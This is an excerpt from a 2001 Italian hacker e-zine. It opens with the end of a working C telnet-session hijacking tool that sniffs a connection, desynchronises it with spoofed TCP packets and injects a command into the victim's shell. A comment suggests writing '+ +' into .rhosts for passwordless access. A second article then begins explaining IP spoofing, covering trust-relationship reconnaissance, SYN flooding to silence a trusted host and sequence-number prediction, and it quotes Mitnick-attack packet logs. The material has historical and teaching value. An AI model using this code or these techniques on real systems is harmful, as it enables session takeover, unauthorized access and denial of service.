| struct wait_packet |
| { |
| unsigned long seq,ack; |
| unsigned short flags; |
| unsigned short source_p,dest_p; |
| int datalen; |
| }; |
| |
| struct IPhdr |
| { |
| unsigned char verlen, type; /*versione-lunghezza |
| dell'header,tipo*/ |
| unsigned short tot_len, ID, flag_offset;/*lunghezza, id, |
| flags+offset*/ |
| unsigned char TTL, protocol;/*time to live, e il protocollo |
| utilizzato*/ |
| unsigned short checksum; |
| unsigned long int saddr, daddr;/*indirizzo ip sorgente,ip |
| destinazione*/ |
| }; |
| |
| struct TCPhdr |
| { |
| unsigned short source, dest; |
| unsigned long int seq, ack_seq; |
| unsigned short offset_flag, window, checksum, urgent; |
| }; |
| |
| struct pseudoIP |
| { |
| unsigned long int source, dest; |
| char zero_byte, protocol; |
| unsigned short TCP_UDP_len; |
| }; |
| |
| int if_init(char *device) |
| { |
| int if_fd; |
| struct ifreq netif; |
| char test; |
| if ((if_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1) { |
| /*creazione del nostro raw socket*/ |
| perror("
Can't Open PACKET SOCKET."); |
| exit(1); |
| } |
| |
| return if_fd; |
| } |
| |
| void ethclose() |
| { |
| struct ifreq eth; |
| strcpy(eth.ifr_ifrn.ifrn_name, INTERFACE); |
| if ( ioctl(fd_recive, SIOCGIFFLAGS, ð) < 0) { |
| fprintf(stderr, "
Can't get Ethernet flags.\n"); |
| exit(1); |
| }

  
|
| eth.ifr_ifru.ifru_flags ^= IFF_PROMISC ; |
| if ( ioctl(fd_recive, SIOCSIFFLAGS, ð) < 0) { |
| fprintf(stderr, "Can't put Ethernet in PROMISC mode.\n"); |
| exit(1); |
| } |
| exit(0); |
| } |
| |
| |
| unsigned short in_cksum(unsigned short *addr,int len) |
| { |
| register long sum = 0; /* assumes long == 32 bits */ |
| register unsigned short *w = addr; |
| unsigned short answer = 0; /* assumes u_short == 16 bits */ |
| register int nleft = len;; |
| |
| /* |
| * Our algorithm is simple, using a 32-bit accumulator (sum), |
| * we add sequential 16-bit words to it, and at the end, fold back |
| * all the carry bits from the top 16 bits into the lower 16 bits. |
| */
|
| |
| while (nleft > 1) |
| { /* per tutta la funzione:il |
| checksum*/
|
| /* viene calcolato solo sull'header |
| IP*/
|
| /*non sui dati che trasmette*/ |
| sum += *w++; /*per la creazione di pacchetti |
| quali*/
|
| /*IP,UDP ecc dobbiamo calcolare*/ |
| /* il checksum...si fa con la |
| funzione*/
|
| nleft -= 2; /*rippata dal codice di |
| ping.c:-)))*/
|
| } |
| |
| /* mop up an odd byte, if necessary */ |
| if (nleft == 1) |
| { |
| *(u_char *) (&answer) = *(u_char *)w; /* one byte only */ |
| sum += answer; |
| } |
| |
| /* |
| * Add back carry outs from top 16 bits to low 16 bits. |
| */
|
| |
| sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ |
| sum += (sum >> 16); /* add carry */ |
| answer = ~sum; /* ones-complement, then truncate to 16 bits |
| */
|
| |
| return(answer); |
| } |
| |
| unsigned long nameResolve(char *hostname) |
| { |
| struct in_addr addr; |
| struct hostent *hostEnt; |
| |
| if((addr.s_addr=inet_addr(hostname)) == -1) |
| /*qui chiaramente fa il controllo sull'esistenza o meno del server*/ |
| { |
| if(!(hostEnt=gethostbyname(hostname))) |
| { |
| fprintf(stderr,"Unknown host:`%s`\n",hostname); |
| exit(0); |
| } |
| bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length); |
| } |
| return addr.s_addr; |
| } |
| |
| |
| /* from Spoofit by coder@reptile */ |
| void wait_packet_timeout (int sig) |
| { |
| alarm(0); |
| WAIT_PACKET_WAIT_TIME=1; |
| } |
| |
| int wait_pk(int fd,struct wait_packet *infoz, |
| /* fd Š un socket di ricezione*/ |
| char *wp_source, unsigned short wp_source_port, |
| /* wp_source e wp_source_port sono coloro che mandano il pacchetto*/ |
| char *wp_dest, unsigned short wp_dest_port, int wp_flags, |
| int wait_time) |
| /*i due wp qui sono i riceventi*/ |
| { |
| char wp_buffer[1500]; |
| struct IPhdr *ip; |
| struct TCPhdr *tcp; |
| unsigned long sourcel, destl; |
| int tcpstart; |
| char proto; |
| |
| sourcel = nameResolve(wp_source); |
| destl = nameResolve(wp_dest); |
| |
| WAIT_PACKET_WAIT_TIME=0; |
| if(wait_time!=0) { |
| signal(SIGALRM,wait_packet_timeout); |
| alarm(wait_time); |
| } |
| |
| while(1) { |
| while(sniff_pk(fd, wp_buffer, &tcpstart, &proto)<=0) { |
| if (WAIT_PACKET_WAIT_TIME!=0) { |
| alarm(0); |
| return -1; |
| } |
| }; |
| if(proto == 6) { |
| ip= (struct IPhdr *) wp_buffer; |
| tcp= (struct TCPhdr *) (wp_buffer+tcpstart); |
| if((sourcel==ip->saddr) && (destl==ip->daddr)) { |
| if(((ntohs(tcp->source)==wp_source_port) |
| || (wp_source_port==0)) && |
| ((ntohs(tcp->dest)==wp_dest_port) |
| || (wp_dest_port==0))) { |
| if( (wp_flags==0) || |
| (ntohs(tcp->offset_flag)&wp_flags)) |
| { |
| infoz->source_p=ntohs(tcp->source); |
| infoz->dest_p=ntohs(tcp->dest); |
| infoz->seq=ntohl(tcp->seq); |
| infoz->ack=ntohl(tcp->ack_seq); |
| infoz->flags=ntohs(tcp->offset_flag)& |
| (URG|ACK|PSH|FIN|RST|SYN); |
| infoz->datalen = ntohs(ip->tot_len) - |
| ((ip->verlen & 0xF) << 2) - |
| ((ntohs(tcp->offset_flag) & 0xF000) >> 10); |
| alarm(0); |
| return 0; |
| } |
| } |
| } |
| } |
| } |
| } |
| |
| void trans_tcp (int sp_fd, char *sp_data,int sp_ipoptlen, int sp_tcpoptlen, |
| int sp_datalen, char *sp_source, unsigned short |
| sp_source_port, |
| char *sp_dest, unsigned short sp_dest_port, unsigned long |
| sp_seq, unsigned long sp_ack, unsigned short sp_flags) |
| |
| /* trans nel senso trasmittente...insomma,ci siamo |
| capiti;-)*/
|
| { |
| char sp_buffer[1500]; |
| char pseudoconstruct[MTU]; |
| struct pseudoIP *pseudo; |
| struct TCPhdr *newtcp; |
| struct IPhdr *newip; |
| int shooten; |
| struct sockaddr_in target; |
| |
| bzero(sp_buffer,1500); |
| if (sp_datalen!=0) |
| |
| memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen, |
| sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen); |
| |
| newtcp=(struct TCPhdr *)(sp_buffer+IP_HEAD_BASE+sp_ipoptlen); |
| pseudo=(struct pseudoIP *) pseudoconstruct; |
| |
| newtcp->offset_flag = htons( (((TCP_HEAD_BASE+sp_tcpoptlen)/4)<<12) |
| |
| sp_flags); |
| newtcp->seq = htonl(sp_seq); |
| newtcp->ack_seq = htonl(sp_ack); |
| newtcp->source = htons(sp_source_port); |
| newtcp->dest = htons(sp_dest_port); |
| newtcp->window = htons(0x7c00); |
| |
| pseudo->source = nameResolve(sp_source); |
| pseudo->dest = nameResolve(sp_dest); |
| pseudo->zero_byte = 0; |
| pseudo->protocol = 6; |
| pseudo->TCP_UDP_len = htons(sp_datalen+TCP_HEAD_BASE+sp_tcpoptlen); |
| |
| memcpy(pseudoconstruct+12, newtcp, |
| sp_tcpoptlen+sp_datalen+TCP_HEAD_BASE |
| ); |
| newtcp->checksum=in_cksum((unsigned short *) pseudoconstruct, |
| sp_datalen |
| + 12 + TCP_HEAD_BASE + sp_tcpoptlen); |
| |
| newip = (struct IPhdr *) (sp_buffer); |
| newip->checksum=0; |
| newip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp_ipoptlen)/4); |
| newip->type = 0; |
| newip->tot_len = htons(IP_HEAD_BASE + TCP_HEAD_BASE + sp_datalen |
| + sp_ipoptlen + sp_tcpoptlen); |
| newip->ID = htons(12545); |
| newip->flag_offset = 0; |
| newip->TTL = 255; |
| newip->protocol = IPPROTO_TCP; |
| newip->saddr = nameResolve(sp_source); |
| newip->daddr = nameResolve(sp_dest); |
| newip->checksum=in_cksum((unsigned short *) (sp_buffer), |
| IP_HEAD_BASE |
| + sp_ipoptlen); |
| |
| bzero((char *) &target, sizeof(struct sockaddr)); |
| target.sin_family = AF_INET; |
| target.sin_addr.s_addr = nameResolve(sp_dest); |
| |
| shooten = sendto(sp_fd, (char *)(sp_buffer), sp_datalen + |
| TCP_HEAD_BASE |
| + IP_HEAD_BASE + sp_ipoptlen, 0, (struct sockaddr *) &target, |
| sizeof(struct sockaddr)); |
| |
| } |
| |
| int sniff_pk |
| (int sniff_fd, char *buffer, int *tcpstart, char *proto) |
| { |
| struct IPhdr *IP; |
| char sniff_buffer[1500]; |
| int pack_len; |
| |
| pack_len = read(sniff_fd, sniff_buffer, MTU); |
| if (read > 0) { |
| pack_len -=DEV_PREFIX; |
| memcpy(buffer, sniff_buffer+DEV_PREFIX, pack_len); |
| IP = (struct IPhdr *)buffer; |
| if (proto != NULL) *proto = IP->protocol ; |
| if(tcpstart != NULL) |
| *tcpstart = (IP->verlen & 0xF) << 2; |
| } |
| return pack_len; |
| } |
| |
| |
| /*ok...tutto quello che c'era lì sopra è contenuta nel bellissimo spoofit.h |
| di*/
|
| /*coder@reptile!*/ |
| /*avrei anche fatto prima...ma così pochi se lo sarebbero letto e |
| avrebbero*/
|
| /* realmente capito!*/ |
| /*ora iniziamo la parte finale del codice...il main&co...good work! |
| */
|
| |
| |
| int main(int argc, char *argv[]) |
| { |
| int h,k,cont; |
| char CLIENT[100], SERVER[100] ; |
| /*fin qui direi che Š chiaro,no:-PP*/ |
| int CLIENT_PORT ; |
| struct wait_packet pk_info; |
| unsigned long spoof_seq, spoof_ack; |
| unsigned long old_seq, old_ack; |
| unsigned long serv_seq, serv_ack; |
| |
| char cleaner[]={0x08,0x08,0x08,0x08,0x08,0x08,0x0a,0x0a}; |
| /*sono i dati che ci servono per pulire*/ |
| |
| /*la linea della shell...dove poi mettiamo i nostri dati!*/ |
| char evil_data[]="echo \"echo SESSION HACKED BY CITY HUNTER!Pay |
| attention next time!!\" >>$HOME/.profile\n"; |
| /*la riga sopra è quella fondamentale per i nostri loschi scopi!*/ |
| /*Provate a fare qualcosa di simile a "echo + + >>/.rhosts"*/ |
| /*lo fece un tipo di nome Mitnick...qualcosa di simile:-)))(ha |
| usato*/
|
| /* lo spoofing cieco lui)*/ |
| if(argc!=4) |
| { |
| printf("\n\t|**************************************************|"); |
| printf("\n\t| Hjtel -Telnet Hijacker- by City Hunter |\n"); |
| printf("\t|++++++++++++++++++++++++++++++++++++++++++++++++++|\n"); |
| printf("\t| %s CLiENT H0ST TCP P0RT TARGET |\n", |
| argv[0]); |
| |
| printf("\t|**************************************************|\n\n"); |
| exit(1); |
| } |
| strcpy(CLIENT, argv[1]); |
| strcpy(SERVER, argv[3]); |
| CLIENT_PORT=atoi(argv[2]); |
| |
| DEV_PREFIX = INTERFACE_PREFIX ; |
| if ((fd_send = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <0 ) { |
| perror("Non riesco ad aprire il RAW S0CKETS "); |
| exit(1); |
| } |
| fd_recive = if_init(INTERFACE); |
| printf("\n\t|************************************************|"); |
| printf("\n\t| Hjtel -Telnet Hijacker- by City HUnter |\n"); |
| printf("\t|++++++++++++++++++++++++++++++++++++++++++++++++|\n"); |
| printf("\t| (si dia inizio alle danze!:-)) |\n"); |
| printf("\t|************************************************|\n\n"); |
| |
| |
| for (h=0;h<50;h++) { |
| printf(">-------------------------------->\n"); |
| printf(" STEP #1 : TELNET Sniff'n'Desync \n"); |
| printf("<--------------------------------<\n"); |
| |
| wait_pk(fd_recive, &pk_info, CLIENT, CLIENT_PORT, SERVER, |
| 23, ACK|PSH,0); |
| spoof_seq=pk_info.seq + pk_info.datalen; |
| spoof_ack=pk_info.ack; |
| printf("\nCCCII Sto sniffando la connessione TTTYY\n"); |
| printf("%s:%i > %s:23 SEQ:%X (hex) ACK:%X (hex)\n", CLIENT, |
| CLIENT_PORT, SERVER, pk_info.seq, pk_info.ack); |
| printf("\nHUN Sp00fing to Desync TER\n"); |
| printf("Sending TCP packet with SEQ %X ACK %X |
| FLAGS:ACK|PSH"
, |
| spoof_seq, spoof_ack); |
| trans_tcp(fd_send, cleaner, 0, 0, sizeof(cleaner), CLIENT, |
| CLIENT_PORT, SERVER, 23, spoof_seq, spoof_ack, ACK|PSH); |
| cont = 0; |
| printf("\n\n>LO Waiting f0r Desync_C0nfirm VE<\n"); |
| while (cont<5) { |
| wait_pk(fd_recive, &pk_info, SERVER, 23, CLIENT, |
| CLIENT_PORT, ACK,0); |
| if(pk_info.ack==spoof_seq + sizeof(cleaner)) |
| cont=MY_TOUCH; |
| else cont++; |
| } |
| if(cont!=MY_TOUCH) { |
| printf("\t<--------------------------------->\n"); |
| printf("\t STEP #1 N0T SUCCEDED ... L00PiNG\n"); |
| printf("\t<--------------------------------->\n"); |
| } |
| else { |
| printf("### Step #1 0K. ###\n"); |
| printf(">>> YEAHHHHHHH <<<\n"); |
| break; |
| } |
| } |
| |
| printf("\n<------------------------------------<\n"); |
| printf(" STEP #2 - GETTING SYN/ACK 0NCE M0RE\n"); |
| printf(">------------------------------------>\n"); |
| cont = serv_seq = old_ack = 0; |
| while(cont<10) { |
| old_seq = serv_seq; |
| old_ack = serv_ack; |
| wait_pk(fd_recive, &pk_info, SERVER, 23, CLIENT, CLIENT_PORT, |
| ACK,0); |
| if (pk_info.datalen == 0) { |
| serv_seq=pk_info.seq + pk_info.datalen; |
| serv_ack=pk_info.ack; |
| if ((old_seq==serv_seq)&&(serv_ack==old_ack)) |
| cont = MY_TOUCH; |
| else cont++; |
| } |
| } |
| if(cont!=MY_TOUCH) { |
| printf("\t<-------------------------------->\n"); |
| printf("\t STEP #2 NOT SUCCEDED. SHIT!!! \n"); |
| printf("\t<-------------------------------->\n"); |
| exit(0); |
| } |
| printf("Server SEQ: %X (hex)\tACK: %X (hex)\n", serv_seq, serv_ack); |
| printf(">HA Step #2 0K. CK<\n"); |
| |
| |
| printf("\n<----------------------------------------------------<\n"); |
| printf(" STEP #3 - SENDING 0UR DATA |
| \n"
); |
| printf(">---------------------------------------------------->\n"); |
| printf(">>> HIHIHIHI Injecting Evil Data in the connection <<<\n"); |
| trans_tcp(fd_send, evil_data, 0, |
| 0,sizeof(evil_data),CLIENT,CLIENT_PORT, |
| SERVER, 23, serv_ack, serv_seq, ACK|PSH); |
| cont=0; |
| printf("\n>>> Waiting for Confirm <<<\n"); |
| while(cont<5) { |
| wait_pk(fd_recive, &pk_info, SERVER, 23, CLIENT, CLIENT_PORT, |
| ACK,0); |
| if(pk_info.ack==serv_ack+sizeof(evil_data)) |
| cont=MY_TOUCH; |
| else cont++; |
| } |
| if (cont!=MY_TOUCH) { |
| printf("\t<--------------------->\n"); |
| printf("\t STEP #3 N0T SUCCEDED\n"); |
| printf("\t<--------------------->\n\n"); |
| exit(0); |
| } |
| printf("*** STEP #3 0K ***\n\n"); |
| printf(" >>> Great Hijacking :-)) <<< \n"); |
| printf(" <<< SEE YA GUYS <<<\n"); |
| exit(0); |
| } |
| |
| ---------------------------------------taglia acchì-------------------------- |
| |
| Ok!!!Abbiamo finito! Il codice è stato compilato con successo su Mandrake8.0. |
| "gcc -o HjTel HjTel.c" per compilarlo. |
| Ultime precisazioni:questo genere di attacco è molto duro da attuare su |
| Internet. Se non siete su una LAN avrete vita davvero dura!Quindi il supporto |
| ppp è abbastanza inutile,se volete provare questo Telnet Hijacker mettetelo |
| sotto Eth. |
| Credo di aver finito il tutto...spero abbiate capito qualcosina e per |
| qualsiasi |
| cosa scrivetemi! |
| Ora vado a vedermi le Iene!Ancora una cosa...se create voi qualcosa di |
| carino... |
| mandatemelo!!!! |
| |
+-------------------------------------------------------------------------------+


+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [HACKiNG] #04 - 19/11/2001 |
| iP SP00FiNG ATTACK [E4zy] 0x08/0x23 |
+-------------------------------------------------------------------------------+
| Credits: |
| |
| Ringrazio tutti coloro che si sono resi disponibili dando il loro contributo |
| |
| con idee e suggerimenti che si sono rivelati utili nella stesura del |
| presente articolo, un ringraziamento particolare va anche a tutti coloro che |
| |
| mi hanno assecondato nelle mie seghe mentali sui protocolli, grazie zapotecz |
| |
| :)) |
| Un grande fuck va invece al lamer che di fronte a una mia domanda ha reagito |
| |
| in questo modo: |
| |
| <E4zy> devo isolare la formula che permette di predire un numero sequenziale |
| in una sessione spoofed |
| <[Gi0bbE]> E4zy: come cazzo parli? |
| *** E4zy was kicked by [Gi0bbE] |
| |
| E poi ci lamentiamo dell'underground italiano... |
| Finito questo sfogo personale passiamo all'articolo :) |
| |
| Indice: |
| |
| 1. Relazioni di fiducia |
| 1.1 In cosa consistono (.rhosts) |
| 1.2 Come trovarle (showmount -e, rpcinfo) |
| 1.2.1 Esempio |
| |
| 2. Comandi di accesso remoto (rlogin, rsh, rcp, rwho) |
| |
| 3. TCP/IP |
| 3.1 Schema intestazione TCP |
| 3.2 Handshaking a tre vie del TCP |
| 3.3 Numero sequenziale iniziale (ISN) |
| |
| 4. IP Spoofing |
| 4.1 SYN flood |
| 4.1.1 Esempio |
| 4.2 Predizione del numero sequenziale |
| 4.2.1 Esempio |
| 4.3 Impersonificazione dell'host di fiducia |
| 4.3.1 Esempio |
| |
| 5. Backdoor |
| 5.1 Esempio |
| |
| 6. Parte pratica |
| 6.1 Uso di Nmap e del programma Mendax |
| |
| 7. Contromisure |
| |
| |
| 1. Relazioni di fiducia |
| Il file .rhosts gestisce l'accesso remoto al proprio account utente, sarà |
| sufficiente creare un file con tale nome opportunamente configurato e |
| posizionarlo nella propria home directory per dar modo agli utenti remoti di |
| |
| loggarsi al sistema senza bisogno di fornire password alcuna. Questo sistema |
| |
| di autenticazione è appunto basato sull'ip address che assume un ruolo di |
| garante nella procedura di login. |
| |
| 1.1 In cosa consistono (.rhosts) |
| La creazione di un file .rhosts è una procedura sin troppo banale, si crei |
| un file di nome .rhosts e lo si posizioni all'interno della propria home |
| directory, sarà sufficiente inserire al suo interno quanto segue: |
| |
| hostname username |
| |
| Dove "hostname" e "username" sono rispettivamente l'hostname e l'username |
| del sistema remoto a cui concediamo l'accesso. L'impiego di un client rlogin |
| |
| permette l'autenticazione senza password. |
| |
| 1.2 Come trovarle (showmount -e, rpcinfo) |
| Comandi come finger, showmount e rpcinfo possono rivelare informazioni utili |
| |
| nell'individuazione di sistemi che godano di una relazione di fiducia con |
| l'host target. |
| |
| 1.2.1 Esempio |
| Tratto dal testo "How Mitnick hacked Tsutomu Shimomura with an IP sequence |
| attack"
|
| |
| "The IP spoofing attack started at about 14:09:32 PST on 12/25/94. The |
| first probes were from toad.com (this info derived from packet logs): |
| |
| 14:09:32 toad.com# finger -l @target |
| 14:10:21 toad.com# finger -l @server |
| 14:10:50 toad.com# finger -l root@server |
| 14:11:07 toad.com# finger -l @x-terminal |
| 14:11:38 toad.com# showmount -e x-terminal |
| 14:11:49 toad.com# rpcinfo -p x-terminal |
| 14:12:05 toad.com# finger -l root@x-terminal |
| |
| The apparent purpose of these probes was to determine if there might be some |
| |
| kind of trust relationship amongst these systems which could be exploited |
| with an IP spoofing attack. The source port numbers for the showmount and |
| rpcinfo indicate that the attacker is root on toad.com."
|
| |
| 2. Comandi di accesso remoto (rlogin, rsh, rcp, rwho) |
| Quella che segue è la sintassi per esteso del comando rlogin, le parentesi |
| quadre indicano opzionalità: |
| |
| rlogin hostname [-l username] |
| |
| Dall'esecuzione del comando rlogin ne deriverà l'autenticazione sul sistema |
| remoto basata sull'indirizzo ip del sistema richiedente il servizio, sarà a |
| questo punto possibile eseguire comandi godendo dei privilegi associati |
| all'utente. |
| |
| 3. TCP/IP |
| Il TCP (Transmission Control Protocol) è responsabile delle comunicazioni |
| orientate alla connessione su una rete TCP/IP. Per garantire un buon livello |
| |
| di attendibilità della comunicazione, durante una sessione TCP i due host si |
| |
| servono di numeri sequenziali e di conferme per assicurare un corretto |
| trasferimento dei pacchetti (connesso e confermato). |
| La maggior parte del traffico è incapsulato in intestazioni IP (Internet |
| Protocol), esso offre la consegna di informazioni senza connessione e senza |
| garanzia (non connesso e non confermato), significa che il protocollo IP non |
| |
| provvede ad effettuare alcun controllo sulle informazioni inviate. Ne |
| consegue che i pacchetti potrebbero non giungere a destinazione o arrivare |
| in ordine non sequenziale. Questo rende facile sovvertire tale protocollo |
| allo scopo di forgiare pacchetti aventi indirizzo sorgente arbitrario. |
| |
| 3.1 Schema intestazione TCP |
| Tratto dall'RFC 793 "Transmission Control Protocol" |
| |
| |
| 0 1 2 3 |
| 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Source Port | Destination Port | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Sequence Number | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Acknowledgment Number | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Data | |U|A|P|R|S|F| | |
| | Offset| Reserved |R|C|S|S|Y|I| Window | |
| | | |G|K|H|T|N|N| | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Checksum | Urgent Pointer | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Options | Padding | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | data | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| |
| |
| 3.2 Handshaking a tre vie del TCP |
| Quando un host mittente (M) vuole stabilire una connessione TCP con un host |
| destinatario (D), quest'ultimo deve acconsentire affinchè la comunicazione |
| abbia luogo. Questo meccanismo è conosciuto con il nome di handshaking a tre |
| |
| vie del TCP, si possono isolare tre fasi: |
| |
| 1) L'host che desidera stabilire una sessione invia all'host destinatario un |
| |
| pacchetto TCP con il flag SYN pari a 1. Invia inoltre il proprio numero |
| sequenziale iniziale (ISN) all'host destinatario. |
| 2) L'host destinatario nel caso decida di accettare la richiesta di |
| connessione risponde con una conferma impostando i flag SYN e ACK pari a 1. |
| Il campo acknowledgment number viene impostato pari al valore dell'ISN |
| ricevuto precedentemente incrementato di uno. Invia inoltre il proprio |
| numero sequenziale iniziale (ISN) all'host mittente. |
| 3) L'host mittente risponde ancora una volta all'host destinatario con un |
| pacchetto TCP con il flag ACK uguale a 1 e il campo acknowledgment number |
| impostato pari al valore dell'ISN dell'host destinatario ricevuto in |
| precedenza incrementato di uno. |
| |
| |
| 1 M --> D SYN=1, ISN=100 |
| |
| 2 M <-- D SYN=1, ACK=1, ack=101, ISN=250 |
| |
| 3 M --> D ACK=1, ack=251 |
| |
| M = mittente |
| D = destinatario |
| |
| |
| 3.3 Numero sequenziale iniziale (ISN) |
| Il valore dell'ISN viene impostato pari a 1 al momento del boot del sistema, |
| |
| esso cambia il proprio valore in base la tempo trascorso da tale operazione, |
| |
| più precisamente il generatore di ISN incrementa il valore del sequence |
| number di 128.000 ogni secondo e di 64.000 ad ogni nuova connessione |
| instaurata. |
| |
| 4. IP Spoofing |
| Il primo passo consiste nello scegliere un sistema bersaglio, si individuino |
| |
| gli host che godano di una relazione di fiducia con l'host bersaglio, è |
| necessario disabilitare l'host di fiducia tramite un attacco SYN flood, a |
| questo punto si procede al campionamento dell'ISN dell'host bersaglio allo |
| scopo di facilitare la predizione di tale numero durante l'instaurazione |
| della sessione spoofed, una volta instaurata la connessione ad un servizio |
| che richiede l'autenticazione mediante IP address avremo la possibilità di |
| eseguire una backdoor sul sistema bersaglio che ci garantirà un accesso |
| agevole in futuro. |
| Questa tecnica è conosciuta anche con il termine di "attacco cieco" questo è |
| |
| dovuto al fatto che l'IP spoofing non ci permette di instaurare una |
| connessione bidirezionale con l'host bersaglio, di fatto tutto il traffico |
| di ritorno sarà instradato verso l'host di fiducia che sarà impossibilitato |
| nel fornire qualsiasi risposta. |
| |
| 4.1 SYN flood |
| Una volta trovato un host che goda di relazioni di fiducia nei confronti di |
| un potenziale sistema bersaglio bisogna metterlo nelle condizioni di non |
| poter rispondere al traffico di ritorno generato nel momento in cui lo |
| impersoneremo allo scopo di instaurare una sessione spoofed. Se l'host di |
| fiducia ricevesse un SYN/ACK dall'host bersaglio risponderebbe con un RST |
| che manderebbe tutto a monte. Noi non vogliamo che questo accada, vero? :) |
| Per ovviare a tale problema provvederemo a inondare (flooding) l'host che |
| gode di relazioni di fiducia con una grossa quantità di richieste di SYN |
| (richiesta di connessione) senza chiudere l'handshake ovvero una volta |
| ricevuto il SYN/ACK dall'host remoto non forniremo alcun ACK lasciando la |
| connessione in uno stato di attesa. Questo risulterà nell'esaurimento della |
| coda adibita alle connessioni in stato di attesa, di conseguenza ogni altra |
| connessione verrà ignorata. |
| |
| 4.1.1 Esempio |
| Tratto dal testo "How Mitnick hacked Tsutomu Shimomura with an IP sequence |
| attack"
|
| |
| "About six minutes later, we see a flurry of TCP SYNs (initial connection |
| requests) from 130.92.6.97 to port 513 (login) on server. The purpose of |
| these SYNs is to fill the connection queue for port 513 on server with |
| "
half-open" connections so it will not respond to any new connection |
| requests. In particular, it will not generate TCP RSTs in response to |
| unexpected SYN-ACKs. |
| |
| As port 513 is also a "
privileged" port (< IPPORT_RESERVED), server.login |
| can now be safely used as the putative source for an address spoofing attack |
| |
| on the UNIX "
r-services" (rsh, rlogin). 130.92.6.97 appears to be a random |
| (forged) unused address (one that will not generate any response to packets |
| sent to it): |
| |
| |
| 14:18:22.516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) |
| win 4096 |
| 14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) |
| win 4096 |
| 14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) |
| win 4096 |
| 14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) |
| win 4096 |
| 14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) |
| win 4096 |
| 14:18:22.943514 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) |
| win 4096 |
| 14:18:23.002715 130.92.6.97.606 > server.login: S 1382726966:1382726966(0) |
| win 4096 |
| 14:18:23.103275 130.92.6.97.607 > server.login: S 1382726967:1382726967(0) |
| win 4096 |
| 14:18:23.162781 130.92.6.97.608 > server.login: S 1382726968:1382726968(0) |
| win 4096 |
| 14:18:23.225384 130.92.6.97.609 > server.login: S 1382726969:1382726969(0) |
| win 4096 |
| 14:18:23.282625 130.92.6.97.610 > server.login: S 1382726970:1382726970(0) |
| win 4096 |
| 14:18:23.342657 130.92.6.97.611 > server.login: S 1382726971:1382726971(0) |
| win 4096 |
| 14:18:23.403083 130.92.6.97.612 > server.login: S 1382726972:1382726972(0) |
| win 4096 |
| 14:18:23.903700 130.92.6.97.613 > server.login: S 1382726973:1382726973(0) |
| win 4096 |
| 14:18:24.003252 130.92.6.97.614 > server.login: S 1382726974:1382726974(0) |
| win 4096 |
| 14:18:24.084827 130.92.6.97.615 > server.login: S 1382726975:1382726975(0) |
| win 4096 |
| 14:18:24.142774 130.92.6.97.616 > server.login: S 1382726976:1382726976(0) |
| win 4096 |
| 14:18:24.203195 130.92.6.97.617 > server.login: S 1382726977:1382726977(0) |
| win 4096 |
| 14:18:24.294773 130.92.6.97.618 > server.login: S 1382726978:1382726978(0) |
| win 4096 |
| 14:18:24.382841 130.92.6.97.619 > server.login: S 1382726979:1382726979(0) |
| win 4096 |
| 14:18:24.443309 130.92.6.97.620 > server.login: S 1382726980:1382726980(0) |
| win 4096 |
| 14:18:24.643249 130.92.6.97.621 > server.login: S 1382726981:1382726981(0) |
| win 4096 |
| 14:18:24.906546 130.92.6.97.622 > server.login: S 1382726982:1382726982(0) |
| win 4096 |
| 14:18:24.963768 130.92.6.97.623 > server.login: S 1382726983:1382726983(0) |
| win 4096 |
| 14:18:25.022853 130.92.6.97.624 > server.login: S 1382726984:1382726984(0) |
| win 4096 |
| 14:18:25.153536 130.92.6.97.625 > server.login: S 1382726985:1382726985(0) |
| win 4096 |
| 14:18:25.400869 130.92.6.97.626 > server.login: S 1382726986:1382726986(0) |
| win 4096 |
| 14:18:25.483127 130.92.6.97.627 > server.login: S 1382726987:1382726987(0) |
| win 4096 |
| 14:18:25.599582 130.92.6.97.628 > server.login: S 1382726988:1382726988(0) |
| win 4096 |
| 14:18:25.653131 130.92.6.97.629 > server.login: S 1382726989:1382726989(0) |
| win 4096 |
| |
| server generated SYN-ACKs for the first eight SYN requests before the |
| connection queue filled up. server will periodically retransmit these |
| SYN-ACKs as there is nothing to ACK them."
|
| |
| 4.2 Predizione del numero sequenziale |
| L'attacker a questo punto stabilisce un gran numero di connessioni con il |
| sistema bersaglio allo scopo di campionare la generazione degli ISN da parte |
| |
| dell'host remoto, questo gli consentirà di predire con sufficiente |
| precisione l'ISN della sessione spoofed che si appresta a instaurare. Un |
| ulteriore fattore che influisce sulla predizione dell'ISN è rappresentato |
| dal valore del round trip time (RTT) ovvero il tempo necessario affinchè il |
| pacchetto compia il tragitto che separa la propria postazione dall'host |
| bersaglio e torni indietro. |
